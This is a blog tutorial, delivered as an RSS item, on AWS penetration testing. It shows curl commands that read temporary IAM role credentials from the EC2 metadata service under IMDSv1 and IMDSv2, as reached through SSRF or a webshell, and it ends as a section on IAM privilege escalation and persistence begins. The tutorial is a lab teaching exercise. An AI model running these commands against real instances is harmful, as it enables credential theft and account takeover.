<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>AWS on MentalityXt</title><link>http://xtpol.com/tags/aws/</link><description>Recent content in AWS on MentalityXt</description><generator>Hugo -- gohugo.io</generator><language>en-us</language><lastBuildDate>Fri, 07 Mar 2025 18:06:00 +0800</lastBuildDate><atom:link href="http://xtpol.com/tags/aws/index.xml" rel="self" type="application/rss+xml"/><item><title>AWS Cloud Penetration Testing</title><link>http://xtpol.com/p/aws-cloud-pentesting/</link><pubDate>Fri, 07 Mar 2025 18:06:00 +0800</pubDate><guid>http://xtpol.com/p/aws-cloud-pentesting/</guid><description>&lt;h2 id="exploiting-the-ec2-instance-metadata-service-imds"&gt;&lt;a href="#exploiting-the-ec2-instance-metadata-service-imds" class="header-anchor"&gt;&lt;/a&gt;Exploiting the EC2 Instance Metadata Service (IMDS)&#10;&lt;/h2&gt;&lt;p&gt;This is closely tied to IAM. I actually mentioned it in the basics section; exploiting it generally requires something like SSRF or a webshell.&lt;/p&gt;&#10;&lt;p&gt;Accessing the following URL from inside EC2 may return temporary credentials. This is essentially a temporary pair of keys that can be used to access every service permitted by the associated permissions.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl http://169.254.169.254/latest/meta-data/iam/security-credentials/&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The EC2 &lt;strong&gt;Instance Metadata Service (IMDS)&lt;/strong&gt; runs on this IP and provides:&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;&lt;strong&gt;Instance information&lt;/strong&gt; (such as &lt;code&gt;instance-id&lt;/code&gt; and &lt;code&gt;ami-id&lt;/code&gt;)&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Network information&lt;/strong&gt; (such as &lt;code&gt;public-ipv4&lt;/code&gt; and &lt;code&gt;security-groups&lt;/code&gt;)&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;IAM role credentials&lt;/strong&gt; (the most important part!)&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;User data&lt;/strong&gt; (scripts executed when EC2 starts)&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;As in the basics section, once you have these two keys, you can inspect S3, EC2, and a whole range of other resources. This is a high-severity issue, and the service is enabled by default.&lt;/p&gt;&#10;&lt;p&gt;For example:&lt;/p&gt;&#10;&lt;p&gt;Request path:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl http://169.254.169.254/latest/meta-data/&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Response:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ami-id&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hostname&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;iam/&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;instance-id&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;instance-type&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;network/&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;public-ipv4&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;security-groups&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The most dangerous endpoint is:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl http://169.254.169.254/latest/meta-data/iam/security-credentials/&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Response:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AdminRole&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Then access:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;If it returns:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;AccessKeyId&amp;#34;: &amp;#34;ASIA...&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;SecretAccessKey&amp;#34;: &amp;#34;....&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Token&amp;#34;: &amp;#34;....&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Expiration&amp;#34;: &amp;#34;2025-03-04T00:00:00Z&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;You have successfully obtained &lt;strong&gt;temporary credentials for an AWS IAM role&lt;/strong&gt;, which can be used with the AWS CLI to perform various operations!&lt;/p&gt;&#10;&lt;p&gt;Let&amp;rsquo;s try it in practice. I&amp;rsquo;ll start an EC2 instance here; the one used earlier is fine, as long as the endpoint is accessible. The takeaway is that if you find SSRF or get a shell through a web service running on an AWS EC2 instance, you may be able to take control of some of its resources.&lt;/p&gt;&#10;&lt;h3 id="practical-aws-metadata-service-exploitation"&gt;&lt;a href="#practical-aws-metadata-service-exploitation" class="header-anchor"&gt;&lt;/a&gt;Practical AWS Metadata Service Exploitation&#10;&lt;/h3&gt;&lt;p&gt;AWS &lt;strong&gt;uses IMDSv1 by default&lt;/strong&gt; (it can be accessed directly with &lt;code&gt;curl&lt;/code&gt;), but AWS allows administrators to enable &lt;strong&gt;IMDSv2&lt;/strong&gt;, which requires you to:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;First obtain a &lt;strong&gt;temporary token&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;Use that token for subsequent requests&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;strong&gt;Check whether IMDSv2 is enabled&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl -X PUT &amp;#34;http://169.254.169.254/latest/api/token&amp;#34; -H &amp;#34;X-aws-ec2-metadata-token-ttl-seconds: 21600&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Normally, using curl directly is enough. As mentioned above, however, if &lt;strong&gt;IMDSv2&lt;/strong&gt; is enabled, you first need to obtain a token and then use it to request the metadata, as shown below.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0001.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Receiving a token means that &lt;strong&gt;IMDSv2 is enabled&lt;/strong&gt;, and you must use this token to access the metadata.&lt;/p&gt;&#10;&lt;p&gt;Once you have the token, you simply add it in a request header. Following the steps above, add the token to the request:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl -H &amp;#34;X-aws-ec2-metadata-token: $TOKEN&amp;#34; http://169.254.169.254/latest/meta-data/&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;If you are working through SSRF or a non-interactive webshell, this kind of variable may not work, so you can simply copy and paste the value yourself. For this exercise, setting a variable is more convenient.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;TOKEN=$(curl -X PUT &amp;#34;http://169.254.169.254/latest/api/token&amp;#34; -H &amp;#34;X-aws-ec2-metadata-token-ttl-seconds: 21600&amp;#34;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl -H &amp;#34;X-aws-ec2-metadata-token: $TOKEN&amp;#34; http://169.254.169.254/latest/meta-data/&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0002.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It worked, but no IAM role is attached, so an IAM role must be attached before credentials can be retrieved.&#10;The AWS basics section covered some of the process for attaching an IAM role to EC2, but did not spend much time on how it works.&#10;Suppose we have an EC2 instance that needs to access an S3 bucket. It might be running a web service that needs to move locally stored files into the bucket, write data to the bucket, or back up the website to the bucket every day. Those are all backend details; the point is that this EC2 instance needs to access S3.&lt;/p&gt;&#10;&lt;p&gt;Normally, couldn&amp;rsquo;t we just create a user, obtain its two keys, and use those to access the S3 bucket? To reduce the risk, we could grant that user only S3 permissions. This is convenient, but it has few advantages and many drawbacks. First, if an attacker gets a webshell and finds the keys, they can retain long-term access to S3. Second, if access to other services is needed, manually rotating keys becomes costly and requires people to interact with APIs, among other drawbacks. The only advantage is that SSRF cannot read the keys; the disadvantage is that an arbitrary file-read vulnerability can.&lt;/p&gt;&#10;&lt;p&gt;With an attached role, you simply attach whatever permissions are needed and can leave the role attached. One advantage is that the keys are valid for only one hour. Once the vulnerability is fixed, an attacker cannot maintain long-term control over S3. You might think that calling S3 and other services from EC2 would still require obtaining a token and then requesting temporary credentials through the API, which sounds troublesome. In practice, the AWS CLI automatically retrieves the credentials and related information when you make an S3 request, so no additional steps are needed. The drawback is that SSRF can read them. Now let&amp;rsquo;s put this into practice.&lt;/p&gt;&#10;&lt;h3 id="attaching-an-iam-role-to-ec2"&gt;&lt;a href="#attaching-an-iam-role-to-ec2" class="header-anchor"&gt;&lt;/a&gt;Attaching an IAM Role to EC2&#10;&lt;/h3&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0003.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0004.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0005.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0006.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0007.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Select the role you just created and update the instance. Next, let&amp;rsquo;s look at the buckets.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0008.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problems here: there is one bucket for storing logs and another bucket created while learning the basics. Both can be accessed directly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0009.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The environment is ready. Next, here are the EC2 metadata service endpoints. We already covered the ordinary commands earlier, so there is no need to repeat that process. The main scenarios here are webshells and SSRF.&lt;/p&gt;&#10;&lt;h3 id="important-ec2-metadata-service-endpoints"&gt;&lt;a href="#important-ec2-metadata-service-endpoints" class="header-anchor"&gt;&lt;/a&gt;Important EC2 Metadata Service Endpoints&#10;&lt;/h3&gt;&lt;p&gt;For this exercise, let&amp;rsquo;s generate the token first.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;TOKEN=$(curl -X PUT &amp;#34;http://169.254.169.254/latest/api/token&amp;#34; -H &amp;#34;X-aws-ec2-metadata-token-ttl-seconds: 21600&amp;#34;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;EC2 metadata lives under &lt;code&gt;http://169.254.169.254/latest/meta-data/&lt;/code&gt; and all key information can be retrieved from there.&lt;/p&gt;&#10;&lt;table&gt;&#10;&#9;&lt;thead&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;&lt;strong&gt;Endpoint&lt;/strong&gt;&lt;/th&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;&lt;strong&gt;Purpose&lt;/strong&gt;&lt;/th&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;&lt;strong&gt;IMDS v1&lt;/strong&gt;&lt;/th&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;&lt;strong&gt;IMDS v2&lt;/strong&gt;&lt;/th&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&lt;/thead&gt;&#10;&#9;&lt;tbody&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;/latest/meta-data/&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Retrieve the directory of all available metadata&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;curl http://169.254.169.254/latest/meta-data/&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;curl -H &amp;quot;X-aws-ec2-metadata-token: $TOKEN&amp;quot; http://169.254.169.254/latest/meta-data/&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;/latest/meta-data/iam/security-credentials/&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;List IAM role names&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;curl http://169.254.169.254/latest/meta-data/iam/security-credentials/&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;curl -H &amp;quot;X-aws-ec2-metadata-token: $TOKEN&amp;quot; http://169.254.169.254/latest/meta-data/iam/security-credentials/&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;/latest/meta-data/iam/security-credentials/{role-name}&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Retrieve temporary credentials for an IAM role&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;curl http://169.254.169.254/latest/meta-data/iam/security-credentials/{role-name}&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;curl -H &amp;quot;X-aws-ec2-metadata-token: $TOKEN&amp;quot; http://169.254.169.254/latest/meta-data/iam/security-credentials/{role-name}&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;/latest/meta-data/instance-id&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Retrieve the instance ID&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;curl http://169.254.169.254/latest/meta-data/instance-id&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;curl -H &amp;quot;X-aws-ec2-metadata-token: $TOKEN&amp;quot; http://169.254.169.254/latest/meta-data/instance-id&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;/latest/meta-data/public-ipv4&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Retrieve the instance&amp;rsquo;s public IP&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;curl http://169.254.169.254/latest/meta-data/public-ipv4&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;curl -H &amp;quot;X-aws-ec2-metadata-token: $TOKEN&amp;quot; http://169.254.169.254/latest/meta-data/public-ipv4&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;/latest/meta-data/local-ipv4&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Retrieve the instance&amp;rsquo;s private IP&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;curl http://169.254.169.254/latest/meta-data/local-ipv4&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;curl -H &amp;quot;X-aws-ec2-metadata-token: $TOKEN&amp;quot; http://169.254.169.254/latest/meta-data/local-ipv4&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;/latest/meta-data/mac&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Retrieve the instance&amp;rsquo;s MAC address&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;curl http://169.254.169.254/latest/meta-data/mac&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;curl -H &amp;quot;X-aws-ec2-metadata-token: $TOKEN&amp;quot; http://169.254.169.254/latest/meta-data/mac&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;/latest/meta-data/network/interfaces/macs/{mac}/vpc-id&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Retrieve the VPC ID&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;curl http://169.254.169.254/latest/meta-data/network/interfaces/macs/{mac}/vpc-id&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;curl -H &amp;quot;X-aws-ec2-metadata-token: $TOKEN&amp;quot; http://169.254.169.254/latest/meta-data/network/interfaces/macs/{mac}/vpc-id&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0010.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Everything works. If you are interested in the other endpoints, you can test them yourself.&lt;/p&gt;&#10;&lt;h2 id="iam-penetration-testing-role-switching--permission-abuse"&gt;&lt;a href="#iam-penetration-testing-role-switching--permission-abuse" class="header-anchor"&gt;&lt;/a&gt;IAM Penetration Testing (Role Switching &amp;amp; Permission Abuse)&#10;&lt;/h2&gt;&lt;p&gt;In AWS cloud penetration testing, many AWS resources (EC2, Lambda) have an IAM role attached by default, but these roles usually have &lt;strong&gt;minimal permissions&lt;/strong&gt;.&lt;/p&gt;&#10;&lt;p&gt;However, &lt;strong&gt;some IAM roles may be able to Assume (take on) a more privileged role!&lt;/strong&gt;&#10;&lt;strong&gt;If an attacker finds one of these roles, they can gain a higher level of access&lt;/strong&gt;, or even become an AWS administrator.&lt;/p&gt;&#10;&lt;p&gt;IAM penetration testing mainly involves &lt;strong&gt;four core techniques&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;&lt;code&gt;sts:AssumeRole&lt;/code&gt; &lt;strong&gt;role switching&lt;/strong&gt; → gain higher privileges&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;iam:PassRole&lt;/code&gt; &lt;strong&gt;permission abuse&lt;/strong&gt; → bypass access controls&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;iam:GetPolicyVersion&lt;/code&gt; &lt;strong&gt;policy reading&lt;/strong&gt; → find permissions that can be abused&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;iam:CreateAccessKey&lt;/code&gt; &lt;strong&gt;creating a new key&lt;/strong&gt; → maintain persistent control over an AWS account&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;h3 id="role-switching-with-stsassumerole"&gt;&lt;a href="#role-switching-with-stsassumerole" class="header-anchor"&gt;&lt;/a&gt;Role Switching with sts:AssumeRole&#10;&lt;/h3&gt;&lt;h4 id="theory"&gt;&lt;a href="#theory" class="header-anchor"&gt;&lt;/a&gt;Theory&#10;&lt;/h4&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;AssumeRole&lt;/code&gt; &lt;strong&gt;allows one IAM role to “become” another IAM 